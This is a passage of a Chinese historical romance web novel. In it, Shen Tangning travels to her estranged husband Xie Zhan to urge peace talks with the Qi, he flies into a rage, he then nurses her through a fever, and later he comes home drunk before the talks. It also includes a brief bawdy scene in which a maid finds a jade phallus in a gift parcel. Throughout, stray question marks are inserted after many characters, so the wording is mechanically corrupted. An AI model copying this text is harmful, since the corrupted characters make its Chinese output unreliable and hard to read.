“我不?敢说,但在?我有生之年,必会说服汗王,对周朝边境秋毫无犯,且作为回报,我们西契愿意发兵助贵朝平叛。” 伯都何等?聪明,不?用想便能猜到沈棠宁口中的?这位“襄助两国和谈”之人是谁,苦笑?叹息道:“沈夫人,你的?好意我心领了,只纵你有三寸不?烂之舌,是谢将军的?结发妻子,恐怕也不?能够扭转他的?心意,我族与你的?夫君有杀母之仇,他绝不?会帮我,甚至可能为你招致祸患,我请求你不?要开口求他!” “杀母之仇,你这是何意?我的?婆母,分明是急病去的?。” 沈棠宁一惊。 谢瞻的?生母,不?是在?琅琊探亲之时发了急病去的?吗,怎的?就成了死在?契人的?手?中? 伯都说道:“你们周人最重女子名?节,你不?清楚其中原委,想来并不?稀奇,当年山东河北契人降将联合叛乱,接连攻下济宁青州数座城池,王夫人回家探亲时不?幸罹难,被契人追捕,不?得已跳了黄河,尸骨无存。” “谢家封锁消息,只说王夫人急病而去,实际你的?夫君一直知晓他生母的?死因,这些?年来才对契人视若仇寇。” 原来如此…… 沈棠宁脑海中不?由浮现出谢瞻的?脸庞。 紧接着?,便是对他的?心疼,对王夫人的?惋惜。 想来王夫人香消玉殒之时,不?过二十五六,花朵一般的?年纪,难怪认识谢瞻至今,他如此仇视契人,而整个镇国公府上?下亦对王夫人的?死讳莫如深。 伯都虚弱地靠在?大迎枕上?,一双琥珀色的?眼眸中却满是恳切担忧。 沈棠宁心中忽一动。 不?知为何,打从?第一眼见到伯都开始,她便情不?自禁与伯都心生亲近之意。 三天?前救他,并非完全是因为先前他的?救命之恩,而是见他浑身伤痕累累之时,心里竟难以自抑地涌出酸楚怜惜之情,仿佛感同身受。 沈棠宁默然片刻,出声说道:“伯都将军,这话你便是看轻了他,你放心,我了解阿瞻的?为人,更知道该如何说服他。既然你与察兰汗妃已是穷途末路,不?如便听我一言一试,明日我便北去陇西,帮你说服他,但你答应我的?事?情,我也希望你能说到做到!” 翌日沈棠宁醒来,撩开纱帐,果然床上?伯都的?身影已经?消失得无影无踪。 长忠听说沈棠宁要去陇西,唬了一跳,苦口婆心地阻拦。 “夫人,去陇西的?那条路可不?是咱们回京都的?路,这一路尚有叛军残余,地界不?太平,您何必要非要冒险,有世子帮您找沈家兄长,您还有什么不?放心的?……” 沈棠宁蹙眉,“我哥哥在?陇西?” “不?是陇西,是在?契国,世子没告诉您?” 说完长忠才反应过来说漏了嘴,恨不?得抽自己一个大嘴巴子。 谢瞻怕沈棠宁空欢喜一场,便不?许长忠透露他在?找沈连州这件事?,想直接找到人了带到沈棠宁面前,或是没找到人,说句不?好听的?,找到的?是死讯,那岂不?是要温氏白发人送黑发人? 长忠乍听沈棠宁说要去陇西找谢瞻,让他准备好马车尽快启程,还疑惑这事?怎么被沈棠宁知道了,一着?急就把话捅了出去。 这还得了,此言一出,沈棠宁立即逼问长忠,长忠被逼无奈出卖了主子,又想既然话都说秃噜了嘴,干脆竹筒倒豆子全说了。 沈棠宁听完心里五味杂陈。 她一直以为谢瞻早就忘了此事?,没想到他不?仅记得,还替她处处考虑得妥帖周到…… 为了避免横生枝节,沈棠宁没有对陈慎与温氏等?人说实话,只说是谢瞻在?陇西起居多有不?便,她收到信后决定前去陇西照顾他。 她知这一路危险,但是若能两国和平,实现父亲平生夙愿,便是牺牲自己也在?所?不?惜。 辞别众人后,她便正?式踏上?了去陇西的?道路- 陕西,平凉府。 谢瞻到达陕西时,郭尚在?蓟州与张元伦打得正?如火如荼,一听说谢瞻带着?十万朝廷大军驰援而来,张元伦立马龟缩不?再出城,看样子是要坚壁清野,以逸待劳。 兼之朝廷的?粮草不?够,这仗也确实没法打,说句不?好听的?就是虚张声势。 谢瞻与郭尚一合计,便停了战,这场仗打到最后这份上?,最好的?法子便是招降张元伦的?部下,如此既能兵不?血刃,又可避免两败俱伤。 不?过就目前看来,谢瞻猜测张元伦并无投降之意,等?到他恢复元气?,便会四处动员联合其他部族,以图东山再起。 郭尚在?离蓟州不?远的?庆阳府,谢瞻则驻扎在?平凉,两人形成掎角之势,如此张元伦有任何动作,都逃不?出两人的?手?掌心。 这日傍晚时分,谢瞻下衙,看着?天?色不?早了,便直接回了衙门后院的?书房。 平日里他若无事?都会直接歇在?衙门里,懒得再回朝廷安排给他的?节度使府一趟。 刚进?后院便见漆黑的?夜色中有个熟悉的?身影朝他迎了过来,那人高兴地道:“世子,您终于?下衙了,小人等?您好久!” 出了京都,极少有人再喊他一声世子,谢瞻仔细一看,这人竟是应该远千里之外京都的?长忠! “你来做什么?是夫人出事?了?”谢瞻立即上?前质问。 长忠忙嘿笑?道:“没出事?,好着?呢,这会儿就在?节度使府等?您……哎世子!” 长忠话还没说完,谢瞻便大踏步地转身出了门,连白蹄乌都来不?及让人去牵,看着?门口一匹马便飞身上?去,直朝着?他的?府邸而去。 “急啥,人又跑不?了!” 长忠一面嘀咕,一面小跑着?跟了上?去。 刚到大门首下,人还未进?去,谢瞻的?心便“扑通扑通”狂跳了起来。 他放慢步子,站在?门后慢吞吞地整理自己的?衣服和仪容。 他也不?知道自己在?隐隐期待着?什么,或许冥冥之中,这就是他与沈棠宁特殊的?缘分。 就在?离开琅琊的?那一日,他明明心灰意冷,要决心放下这段长久以来没有结果的?爱恋。 可等?到真的?离开她了,他却非但没有感觉到释然,痛苦减轻半分,反而时常会在?夜半三更里想起她。 一闭上?眼,脑海里全是她的?一颦一笑?,嬉笑?怒骂,挥之不?去,想她的?似水柔情,想起她为他梳头时含羞浅笑?,明媚的?阳光落在?她艳若云霞的?脸庞上?,想起两人在?琅琊同居的?那段时光,每晚与她耳鬓厮磨,亲密拥吻,她安静地靠在?他的?胸口入睡…… 越是想忘记,便越是忘不?掉,想得难以入眠,辗转反侧,甚至懊悔那日一时气?急,都来不?及与她和女儿告别便匆匆离去。 她就像蚀骨的?慢性毒药,温柔似水,天?长地久,毒性慢慢地渗入到他的?五脏六腑当中,等?到他发觉自己中毒之时,毒已深入骨髓,无药可医。 沈棠宁坐在?庭院中等?谢瞻,听到下人们都在?喊“将军来了”,还未等?她转身看清眼前人的?模样,谢瞻便三步并作两步上?前,一下将她拥入了怀中。 “你来了!” 他的?声音,依旧低沉而淳厚,听起来又分外惊喜。 她来了,他怎么会高兴成这样? 担心谢瞻不?同意她来替伯都说项,沈棠宁有意没有提前写信通知谢瞻。 她以为他见到她会生气?,指责她任性用事?,已经?想好了说辞平息他的?怒火,没想到谢瞻的?第一反应却是高兴地抱住了她。 沈棠宁听着?他胸口强劲有力的?心跳声,莫名?感到有些?羞愧,还有一丝忐忑与不?解。 “嗯,阿瞻,我来了。”她柔声应道。 谢瞻牵着?沈棠宁的?手?进?门,一面吩咐人去准备晚膳,一面叫丫鬟去端热茶热水供沈棠宁梳洗清洁,忙前忙后招左呼右的?模样,沈棠宁都不?好意思了。 “阿瞻,我这次来是有事?要与你商议。” 用完晚膳,沈棠宁便说道。 “你说。”谢瞻示意丫鬟小厮都退了下去。 沈棠宁仍不?放心的?模样,又亲自去把窗户也关上?,走到谢瞻身边坐下。 两人离得很近,她刚靠过来,谢瞻便闻到了她身上?那股独属于?她的?芬芳甜香。 此时此刻,谢瞻的?眼中便只剩下了眼前的?这个小女人。 她细语柔声地开了口,她的?眼光流转,杏眼似水,瞳仁里倒映出他的?影子,他的?目光紧紧地看着?她湿润的?红唇一张一合…… “你说什么,你让我与契人和谈?!” 反应过来她说的?话,谢瞻浑身血一冷,不?敢置信地看向沈棠宁,犹如一盆冷水兜头浇下。 沈棠宁没想到,谢瞻听了这话反应会这么大。 紧接着?,她便眼睁睁看着?男人面上?的?柔情之色便骤然褪去,取而代?之的?,是绷得死死的?唇角,以及他愈发阴沉的?脸色。 这样的?谢瞻,显然已经?是在?发怒的?边缘了。 沈棠宁竭力压下心中的?不?安,“阿瞻,我知你一时恐怕难以接受,我自然不?是强求你原谅那些?契人,我只是希望你能慎重考虑,并不?是所?有的?契人都是你的?仇敌,他们中也有人想……” “住口!” 谢瞻双手?紧攥,脸上?仿佛罩了一层寒霜,直到沈棠宁说到“并不?是所?有地契人都是你的?仇敌”那句话时霍然起身喝断。 他冷冷俯视着?她说道:“沈棠宁,你别以为我谢瞻救过你几次,骨头都轻了,把自己当成个人物,妄想来左右我的?决定,如果这就是你此行的?目的?,我劝你死了这条心,明天?就给我滚回京都城!” 说罢摔门而去。 良久,沈棠宁起身走到门边,默默看着?一望无际的?夜色,咳嗽了几声。 锦书走过来,心疼地给她披上?了厚衣。 “这些?都是男人们的?事?情,您何苦要缆下这桩苦差事?,自己身上?还病着?,就千里迢迢地赶过来劝说世子,结果呢,人家根本不?领情,吃力不?讨好。” 沈棠宁摇了摇头。 她的?父亲沈弘彰,就是死在?北伐的?战争之中。 那场战争,让她永远地失去了自己的?父亲,也让一个家庭从?此支离破碎。 她太知道和平的?意义。 对于?谢瞻而言,他难以接受,她何尝不?是如此。 只是,她和谢瞻终究不?同,她希望付出更小的?代?价,来换取最大的?和平。倘若谢瞻不?愿,亦是无可厚非。 许是因为连日的?赶路,忧思成疾,当夜沈棠宁便病倒了,烧得迷迷糊糊,不?省人事?。 “把冷水端过来。” 谢瞻拧干帕子,叠好放在?沈棠宁的?额头上?,另一块帕子在?她身上?不?停地擦拭降温。 锦书拿不?准谢瞻的?意思,几次想劝说谢瞻去休息,她来照顾沈棠宁,他只淡淡地让她别聒噪,退下去呆着?。 这个男人,你说他粗心,他还知道细心地给沈棠宁擦冷水降温。 但你若说他细心呢,他每回又是发那样大的?火,忽冷忽热喜怒无常的?,说生气?便生气?了,一点都不?顾及自己说的?那些?话有多伤人的?心。 也就是她们姑娘心肠软,每回都未曾真正?放在?心上?过。 明明昨夜分别时他雷霆震怒,把她和自家姑娘都吓个不?轻,今儿听说姑娘病了,又坐在?床前寸步不?离地侍奉,端茶喝药擦身事?事?亲力亲为。 若说锦书还看不?出来谢瞻对沈棠宁是个什么意思,那她就是真个傻了。 其实她早就猜到谢瞻似乎对沈棠宁有意,只是这事?他一个大男人憋着?不?肯说话,难不?成还要让姑娘家来表白心意吗? 何况这段时日她冷眼瞧着?,自家姑娘早就不?像当初那样排斥姑爷了。 “那合该他当做的?,我们姑娘若不?是为了他,岂会放着?好好的?安稳日子不?过,千里迢迢跑到这鸟不?拉屎的?地方来!”韶音冷哼道。 锦书悄悄比在?墙角看着?屋里专心给自家姑娘降温的?谢瞻,闻言瞪了身旁的?韶音一眼。 “你这小蹄子,休要多事?,姑娘若是心里真喜欢,你还能给拆散了不?成?” 韶音不?服道:“咱们姑娘便是和离了,以她的?品格和才貌京都城里等?着?娶她的?大好儿郎那也能排到永定门去,若姑娘看上?他,我今后和你姓也罢!”气?得扭头就跑。 吃过药,谢瞻陪着?沈棠宁守了一天?一夜,晚上?睡觉就躺在?旁边的?将就了一晚。 翌日一早卢坤义打发人来找谢瞻,让他去看看新做的?攻城器械如何。 谢瞻回来给沈棠宁擦了手?脸,喂了她一点水。 昨夜烧就退了,大夫说烧退了人就能醒了。 谢瞻专注地看着?床上?的?沈棠宁。 闪耀着?淡淡金色的?阳光落在?她的?脸上?,细弯的?眉,长长的?睫毛乖巧地卷翘着?,饱满圆润的?唇瓣,苍白的?脸蛋没有丝毫血色,都没有他的?一只手?掌大。 他伸出手?,在?空中勾勒出她眉眼的?轮廓。 直到长忠在?外面低声催促他了,谢瞻起身在?床上?的?人儿额头上?轻轻一吻,给她掖好被子,这才悄然离去。 谢瞻离开后,半响,沈棠宁呆呆地睁开双眼,望着?头顶的?承尘。 抚摸着?自己额间适才被他吻过的?地方,仿佛还残留着?他唇间的?余温与温软的?触感。 他,为何要吻她? …… 第64章 菱花镜中,女子脸色苍白,柳叶眉,花瓣唇,巴掌大的小脸。 一双杏眼点漆似水,即使不施粉黛,面带病容,依旧不折损她丝毫的美貌。 她蹙眉,镜中的女子眉眼间便萦绕着淡淡的哀愁与疑惑。 她托腮,镜中的女子亦托腮。 她抬手抚摸额头,镜中的女子亦…… “姑娘!” 锦书的声?音突然在身后响起,沈棠宁心一跳,慌忙将手收回来,垂下眼帘。 虽然锦书应是没有看到早晨时谢瞻亲吻她那一幕,但沈棠宁仍是没来由的心虚。 “姑娘,您能好这?么快,多亏了世?子,昨个儿他可是守了您一天一夜呢,我?劝他去休息他都不肯去。” 锦书一面给沈棠宁梳妆绾发,一面在一旁说道。 守了一天一夜? “他平日里不是很?忙么,你怎么还留他在这?里?”她皱了皱眉,问。 锦书给沈棠宁发间别了一根并蒂莲花的玉簪,闻言忙不迭叫屈道:“冤枉!那是世?子爷非要留在这?伺候您,何况腿长在他的身上,奴婢还能把世?子爷给抬走了不成?” “你这?促狭鬼,还学会打趣我?了!”沈棠宁瞪了她一眼。 锦书就抿着唇笑。 当日,谢瞻并未回府。 锦书提议去衙门里找谢瞻,沈棠宁却摇了摇头。 “不成,这?事急不得。”她说道。 谢瞻不肯来见她,说明对于和谈一事心中有他的考量。 至于是何考量,也许是因为生?母的死,又或许是因为旁的缘故。 不论是什么原因,她都相信谢瞻绝不是那等心胸狭隘,只图眼前小情小爱的男人?。 他的眼里有家有国,有肩头担负的职责,亦有千千万万的百姓,只要给他足够的时间去想?,他总会想?明白其中关键。 沈棠宁如今住的这?间屋子,是谢瞻在节度使府的正房。 府邸是座三进的宅子,很?宽阔空荡,谢瞻不回来,闲来无事的时候,沈棠宁也不敢随意出去乱逛,毕竟她心里明白,两人?如今就是有名无实的挂名夫妻,所以就在卧房里挑了几本谢瞻的书看。 这?人?书也没什么意思,尽是些兵书和治国大论,没看几页沈棠宁便觉无趣了,扔在一边望着窗外翠绿的芭蕉叶发呆。 “这?是何物??” 锦书捧了个包裹走进来,放在桌上道:“这?是世?子命长忠送过来,我?也不知?道,您打开看看。” 沈棠宁便拆开包裹。 锦书在一旁整理沈棠宁带过来的衣物?,沈棠宁来的匆忙,衣服没带几件,还不知?道要在平凉住多久,她挑出两件现穿的,其它的衣服都准备拿出去洗洗晒起来。 正心里算计着,沈棠宁忽叫她过去。 “这?包裹,是,是他让长忠送过来的,还是长忠自己送过来的?” “长忠说,是世?子要他送来的,”锦书瞧着沈棠宁脸色有点不大对,“咦”了一声?道:“可是这?包裹有什么问题?”说着便要去解那团包裹。 “没事,不用了!” 沈棠宁忙挡住道:“你去罢,这?包裹没事,我?有事叫你进来。” 锦书将信将疑地被她赶走了。 没事,干嘛姑娘脸红成那样? 沈棠宁藏东西的地方,锦书早就了如指掌,不是床底下,便是高柜子上。 第二天,趁着沈棠宁不在屋的时候,锦书悄悄进屋将沈棠宁藏在床底下的包裹找到打开。 包裹里最上面一层,放着的是一沓月事带。 “……” 月事带? 锦书愣了一下。 这?么一想?,好像确实沈棠宁的小日子快要来了。 下面的她继续翻了翻,是几件肚兜,颜色嘛,有粉的,葱绿的,还有鹅黄……都是自家姑娘平日里喜欢的颜色和花样,就连这?大小也刚好合适。 尤其是手里这?件娇滴滴的葱黄绣折枝海棠花肚兜儿,和沈棠宁从前常穿的那一件实在是像! 最下面一层,是几本话本子,约莫是怕沈棠宁闲极无聊塞进去的。 这?还不是最离谱的,锦书看着手中那根又长又粗的玉棍,琢磨了半天突然想?明白这?是何物?,一下子就瞪大了双眼,眼珠子险些从眼眶里头掉出来,仿佛手里捧的是个烫手山芋,连忙把所有东西都塞回了包裹里系好。 真?是的,送这?些女孩子的贴身衣物?便算了,这?东西他怎么也是能随便乱送的,难怪把姑娘臊成那样! 不过,这?么大一根的话儿,姑娘那小身板能受得住吗…… 正胡思乱想?着,就听到了门开的声?音。 沈棠宁进来的时候,看见锦书从卧房走出来,满脸古怪的笑。 “你笑什么?”她不解。 锦书凑到沈棠宁耳边,神神秘秘耳语几句。 “?*锦书!” 沈棠宁被问得又是惊愕又是羞恼,气得直跺脚。 “你站住……锦书,你再?敢胡说八道,我?撕烂你的嘴!” 锦书忙笑着往外面逃,沈棠宁追出去,追到门口处,恰巧谢瞻不急不慢走进来,与沈棠宁撞了个满怀。 男人?坚实的胸膛,把沈棠宁柔软的胸脯和肩膀撞得生?疼,身子向一侧歪去。 谢瞻及时伸臂抱住了她。 “怎么了,你要撕烂谁的嘴?” 男人?的呼吸轻轻吐到她面上,头顶的碎发轻飘飘地骚动了起来,肌肤痒痒的,眼皮也热热的。 沈棠宁忍不住眨了眨眼,抬起头。 男人?那双漆黑的凤眼里,清楚地倒映出她的身影与轮廓。 他的大掌就紧紧地贴在她的腰间,好似还轻轻地抚摸了两下,他挺拔的鼻梁,离她的脸也不过是咫尺的距离。 两人?离得那么近,近到呼吸可闻…… 沈棠宁终于后知?后觉地反应了过来,连忙去推谢瞻,推了两下才?将彻底他推开。 抿了抿唇,她瞪他一眼,扭头进屋去了。 谢瞻挨她莫名瞪了一眼,却觉得那一眼眼波流转,含羞带嗔,说不出的妩媚娇柔,心神不由一荡。 抬脚跟着她走了进去,沈棠宁却脚步更?快,已经?进了里间。 谢瞻在屋里转了两圈,最后轻咳一声?,只停在明间犹自晃动的帘下。 其实当夜他凶完沈棠宁,心中便已很?是后悔。 他分明日夜盼望她能到来见他一面,哪怕是跟她说上一句话他便能快活上好些时日,可是为何她来了,也同?他说了话,他就那么控制不住自己呢…… 他那么期盼着见到她,她却劝他去和害死他生?母的契人?合作,这?令他感?到分外的委屈和愤怒。 “我?已向陛下递了折子,陈奏情况,至于陛下答不答应和谈,我?不敢保证,一切只能尽力而?为。” 里间的沈棠宁“嗯”了一声?。 谢瞻顿了顿。 “团儿,那日是我?不对,冲你发脾气了,你也知?我?这?人?的脾性……我?听你那样劝我?,心中很?是不忿,一时未控制住自己……总之是我?不对,日后我?必不会这?样了,你别生?气了好不好?”他语气诚恳地向沈棠宁认错道歉。 沈棠宁沉默了片刻。 “我?没生?气。”她轻声?回道。 谢瞻嘴角慢慢又翘了起来。 “那我?昨日让长忠给你送来的东西,你用着都可还合适?”他又问。 “……” “你不说,我?就当你用得合适了。”他道。 “……” 沈棠宁终于忍不住了。 “你……你还好意思说,你都给我?送的什么东西!” “哗啦”一声?,眼前的帘子被她揭了起来,两人?目光一触,沈棠宁到底没有谢瞻那么厚脸皮,又飞快地撂下帘子。 说什么,让他以后注意分寸,难道他不知?道两人?不是什么正经?夫妻,这?些东西,他不能够送给她的吗? 纠结半天,还没能说出口。 谢瞻不以为意道:“都是些女儿家的东西,还能有什么,你让锦书他们给你买也一样。这?府里男人?多,没几个丫鬟,不像琅琊和京都,你缺什么只管告诉我?,我?去给你置办。” 谢瞻没问沈棠宁什么时候动身离开,直接让长忠找了府里的管事婆子,两人?一起给沈棠宁布置房间了。 谢瞻走了。 锦书慢吞吞踅进屋里,只见沈棠宁坐在窗下,似乎在听窗外的谢瞻和长忠吩咐什么。 男人?笔直地站在庭院中央,他今日穿了一件暗红织锦蟒缎圆领长袍,腰间束着条玉鞓带,足上蹬着一双锃亮的黑色鹿皮靴。 那袍带修身,衬得男人?宽肩窄腰,英姿勃发,这?般昂首站在庭院之中,宛如鹤立鸡群,几乎能将所有人?的目光都吸引去。 “我?昨个儿在这?节度使府转了转,发现这?府里只有一个管事婆子并两三个丫鬟,问了管事婆子,原来世?子十天半个月也不回来一次,平日里都直接宿在衙门里,房里也没旁的女人?收用。” “要我?说世?子极是洁身自好了,光凭这?一点的男人?打着灯笼也难找,他这?般的家世?样貌,外面不知?多少女人?想?嫁过来填房,别的不说,就说这?府里的,您瞧瞧世?子从屋里走过去的时候,哪个丫鬟不抬起头来迷瞪瞪地盯着看两眼。” “既然你这?么喜欢他,不若我?给牵线搭桥,问问做了他的房里人?,以后天天伺候他如何?”沈棠宁斜眼瞅向一边的锦书。 锦书被沈棠宁问得一哂,忙摆手道:“姑娘你真?会说笑,这?泼天的富贵奴婢可不敢受用!” 见沈棠宁依旧似笑非笑地看着她,到底没敢再?说下去,讪讪地低下了头。 半月后,朝廷的密旨过来了,与此同?时,跟随密旨一道而?来的,还有隆德帝的第五子秦王。 秦王的封地在陕西,前两年及冠离开了京都城。 宗瑁攻打陕西时,由于事发突然,秦王手中兵力粮草也都供给不足,不得不放弃西安退守河南,但在后续夺回陕西的几场大战中,秦王配合郭尚,表现得甚是骁勇,得到了隆德帝的几番赞赏。 得知?隆德帝有意与西契和谈,欲借西契骑兵的力量镇压叛乱,秦王便主动请缨。 最终,隆德帝任命秦王为和谈主使,谢瞻为副使,两人?携三千朝廷精兵一道前往陕西榆林,也就是西契与大周交界的边境进行谈判。 事以密成,既是密旨,这?事就要遮掩行踪,速战速决。 当初伯都离开青州驿的时候给了沈棠宁一枚玉珏,告诉她倘若隆德帝答应和谈,可将这?块玉珏打发人?送到西安的一家名为丰年的邸店。 玉珏送到丰年邸店之后,伯都立即命人?送来了察兰汗妃的亲笔书信,商量和谈的日期与地点,信中言辞恳切。 和谈权隆德帝已经?全权交由谢瞻与秦王负责,不过谢瞻知?道隆德帝让儿子秦王来参与和谈的用意,故一应事务均由秦王过目知?晓,经?他同?意方实行。 话虽如此,秦王为人?谦逊,也不是那等混吃等死的藩王,谢瞻说行他便拍板决定,两方商榷过后,很?快便拟定了和谈的时间与地点。 六月初五的时候动身从平凉出发,七日之后,六月十二,谢瞻便与沈棠宁、秦王一行到达了榆林镇。 原本谢瞻是想?把沈棠宁送回京都,因为把沈棠宁独自留在平凉他总不放心,担心张元伦或是宗缙父子的余孽得知?此事趁机袭击他的平凉大后方。 沈棠宁自然也知?此行凶险,但执意去榆林参与和谈她也有自己的考量。 一则伯都有言在先,他会亲自去榆林谈判,一旦其中发生?什么变故,她亦能在其中帮忙斡旋。 二则倘若和谈顺利,她决定厚着脸皮求伯都帮她找沈连州。 谢瞻是有权有势,那毕竟是在本朝范围之内,手伸到别过去便会处处被掣肘。 伯都就不一样了,他不光知?恩图报,在契国更?有权有势,让他帮忙找一个人?,可以说是轻而?易举。 谢瞻拗不过沈棠宁,又不放心把她一人?扔在平凉,拿她没办法,思来想?去,只得把她一道带去了榆林。 和谈的日子定在六月十五,自从与秦王合并一路后,沈棠宁就扮成小丫鬟跟在谢瞻的身边。 进城那日榆林县令便安排他们住进了城西的一座大宅,留那三千官兵在城西十里驻守。 这?日秦王在房中吃过晌饭出来溜达,盘算着两日后的和谈事宜,忽瞅见那粉墙上一丛开得十分花团锦簇的蔷薇花架下站了两人?在说话儿,走近一看原来是镇国公世?子谢瞻。 秦王加快了步子走过去。 和太子等人?不同?,秦王在众皇子中行五,并不是最受宠爱的那一个,作为孝懿皇后的亲侄儿,谢瞻从小是与中宫嫡出的太子一起长大。 谢瞻比秦王要大两岁,与秦王的眼中,谢瞻年纪不大,却自幼少年老成,冷峻寡言,莫说是他,他这?人?对太子也不见多热络,仅仅保持着最基本的君臣礼仪。 梁王那些人?总说谢瞻是目中无人?,可秦王觉得谢瞻只是性情孤傲罢了,他所谓的“目中无人?”是对所有人?一视同?仁,对于宫里的婢女宦官,人?家从来不会任意欺凌,像梁王那样的分明才?是嚣张跋扈,看人?下菜碟。 虽然秦王从小就羡慕谢瞻能够得到孝懿皇后与隆德帝的宠爱,敬佩他出色的文治武功,有心结交,但他有自知?之明,自己这?个不受宠皇子与谢瞻仍是差得很?远。 这?会儿既得了机会与他同?行,自然是寻机会与谢瞻搭讪增进彼此的了解,这?般想?着,秦王脚步更?更?快了。 可走着走着,却见谢瞻原来不是一人?,面前原来还盈盈立了个粉衣白裙的少女,作丫鬟装扮,只不过这?丫鬟装扮俏丽,与那丛蔷薇架几乎融合在了一处,这?才?叫他看花了眼。 这?丫鬟秦王知?道,应就是这?几日一直随侍谢瞻左右的丫鬟。 说来这?小丫鬟秦王先前只见过一面,每回见到都是匆匆惊鸿一瞥,除了昨日搬到这?宅中那日,那小丫鬟跟在谢瞻身后从马车上下来,总算是让秦王见到了她的正脸。 只见是乌发雪肤,巴掌大的鹅蛋脸,花瓣唇,两道细浅的柳眉斜飞入鬓,眉下一双妙目乃点睛之笔,眼波流转间隐约可见妩媚含情,欲语还休。 都说这?位谢世?子的夫人?乃京都第一美人?,秦王哪里想?到谢瞻身边红袖添香的丫鬟都是如此绝色佳人?,更?不消提那位世?子夫人?,一时愣在了原地。 许是他这?模样略显猥琐,等他终于知?道反应过来的时候,谢瞻冷冷剜了他一眼,立即拽着那丫鬟大步走了。 念及此,秦王又头疼了起来。 他得找个机会同?谢瞻解释解释,不能让谢瞻误会他是那等好色之人?,遂停下来,悄悄藏到了一侧的松林里。 俄而?,不知?二人?说到何处,那小丫鬟轻垂螓首,似盈盈而?笑,谢瞻看着她亦是眉眼温存,柔情似水,忽转身从蔷薇花架中掐下一朵开得娇滴滴的粉瓣蔷薇花,巴巴簪到眼前那粉衣丫鬟的发髻上。 秦王咋舌。 啧啧,果然古人?常说的英雄难过美人?关是诚不欺我?也。 即便是这?一段时间的同?路,谢瞻对他很?客气——嗐,客气说穿了其实就是疏远,秦王好奇极了,这?么一个眼高于顶的男人?,何等美色没见过,这?丫鬟究竟为何能得到他的青睐,莫非是有什么过人?之处? 瞧他笑的那模样,真?没想?到,这?样的男人?一旦喜欢上了一个女孩子,也能笑成这?般,与寻常男人?别无二致呢。 …… 沈棠宁忽觉发上一重?,似乎谢瞻在自己的发上簪了什么,摸了摸自己的发髻,摸到了一片柔嫩的花瓣。 她诧异地看向他。 “这?花极美,也很?衬你。” 谢瞻看着她说道。 热辣的阳光透过头顶蔷薇的花叶洒落在两人?的身上,他就这?么低头看着她,面上好似无甚表情,幽黑的眼眸深处却仿佛汹涌着波涛骇浪一般,是那样地滚烫,沉重?。 以至于沈棠宁觉得自己喘不过气来,无法长久地与他对视,仓促移开了自己的目光。 发上那朵粉艳的蔷薇转瞬就变作了千斤重?,她伸手想?要去摘掉。 “我?想?起我?还有些事……” “等等,”谢瞻攥住她的胳膊,“先别走,我?有话想?对你说。” 他话中的意思是征询她的意见,问她是否想?听,可手却攥得她那样紧,紧得沈棠宁甚至感?觉到了疼,根本无法挣脱开。 “什么话,你说,我?听着。” 沈棠宁只好道。 谢瞻抿了抿唇,凝视着她乌黑的婵鬓,直过了好一会儿,方如下定决心般。 他一字一句,郑重?地道:“团儿,你若喜欢这?架蔷薇花,等有空闲了我?也在静思院里栽两丛,这?样以后每年这?个时令,咱们一家三口都可以如今日这?……” “谢将军,原来你在此处,当真?是巧啊!” 忽然有人?大笑着叫道。 谢瞻顿住。趁着这?空隙,沈棠宁迅速挣脱了谢瞻的手,快步走了。 藏在松林下的秦王没听清谢瞻在与他那小丫鬟说什么,倒是看清楚了远处来的人?。 榆林县令与昨日一样穿得甚是正式,头戴乌纱帽,身着绣鹭鸶补子的青色大袍官服。 见到谢瞻他眼睛一亮,顿时脚底生?风,十分没眼力见儿地凑到了谢瞻跟前笑道:“谢将军您忘啦?昨日下官还说今日来拜见您,今日特备了菲仪来看您老,不成敬意,不巧适才?去上房寻您,那位长忠兄弟说您不在,下官本欲打道回府,没成想?就在此处遇见了您……” “有话直说,不必拐弯抹角。” 沈棠宁已经?走了,谢瞻没耐烦听他奉承,冷冷打断了榆林县令的喋喋不休。 榆林县令忙尴尬地笑,“呃呃,是这?样,下官与县中诸司今夜在春风楼设下了宴席,略备了几桌薄酒,邀请您与秦王殿下一同?前去,咱们商议一下明日的和谈事宜。” 沈棠宁回了房中,傍晚,锦书过来说谢瞻和秦王去了春风楼赴宴。 沈棠宁问道:“谁的宴?” 锦书说:“好像是榆林县令,是商议明日和谈之事吧。” “这?春风楼一听名字就不正经?,我?看八成是个青楼楚馆!”韶音嘀咕道。 沈棠宁皱眉。 “他要去哪儿都与我?们无干,早些洗漱睡吧,明日还要早起。” 入夜,沈棠宁睡在他旁边的抱厦里,想?白天发生?的事。 女人?似乎天生?便总是多情感?性的,自从知?道谢瞻那日亲吻过她以后,好像一切都变了。 她想?不明白谢瞻为何要亲吻她。 毫无疑问,那是个没有任何情.欲之色的吻。 或许是出于对她生?病的心疼,愧疚,又或许是朋友之间的情意? 她觉得一切好像都只是她的自作多情,那样自然是最好的,因为谢瞻曾不止一次地对她说过,他不喜欢她。 她明明也知?道,谢瞻一直不肯纳妾是为了永宜县主,就在圆姐儿取名那日,永宜县主还与他在家中私会过。 可谢瞻看她的眼神…… 沈棠宁想?起那眼神,便忍不住呼吸困难。 以前她没有注意过,如今她却觉得谢瞻的眼神变了。 他的眼神总是那么地灼热地追逐着她,不管她走到何处,只要一转身,她总能在那双幽黑的双眼中看到她的影子。 里面好像有一团在燃烧的火焰,一经?触碰,哪怕只是看上一眼便能将人?迅速点燃,围困在熊熊烈火之中,直至燃烧殆尽。 这?种感?觉实在糟糕,又令人?难以装聋作哑。 良久,沈棠宁深深叹了口气,翻过身看着青纱帐上映照着的淡淡月光。 如果和谈顺利,没有任何变故的话,她应该很?快就能离开谢瞻,回到京都。 罢了,世?上本无事,庸人?自扰之。 沈棠宁闭上了眼。 二更?时分,沈棠宁被一阵开门声?吵醒。 她本来就睡得不沉,听到动静迟疑了一下,坐起身来,想?了想?,还是躺了回去。 过了会儿,长忠过来拍门把她叫醒。 “您快去看看吧,主子他喝多了!” 沈棠宁一惊,明日就要与契国和谈,谢瞻今夜喝得烂醉如泥,这?可如何使得? 一面心里骂谢瞻不知?轻重?,一面衣服都来不及换便连忙跑去了上房。 谢瞻在躺在床上呼呼睡着,喝得满脸通红,看样子是醉得不轻。 锦书去端醒酒汤,韶音则给他脱鞋,和沈棠宁一道主仆两人?把谢瞻衣服脱了。 韶音嗅了嗅脱下来的外袍,气愤地道:“姑娘,上面过真?有脂粉味,不信您闻闻!”递给沈棠宁。 沈棠宁闻了闻,那股子刺鼻的味道熏得她头脑一冲,直接把衣服丢到了地上。 “谁?干什么!” 谢瞻睡得正沉,感?觉有人?“啪啪”拍他的脸,脸火辣辣地疼,硬是把谢瞻拍醒了,一把抓住那人?的手愠怒道。 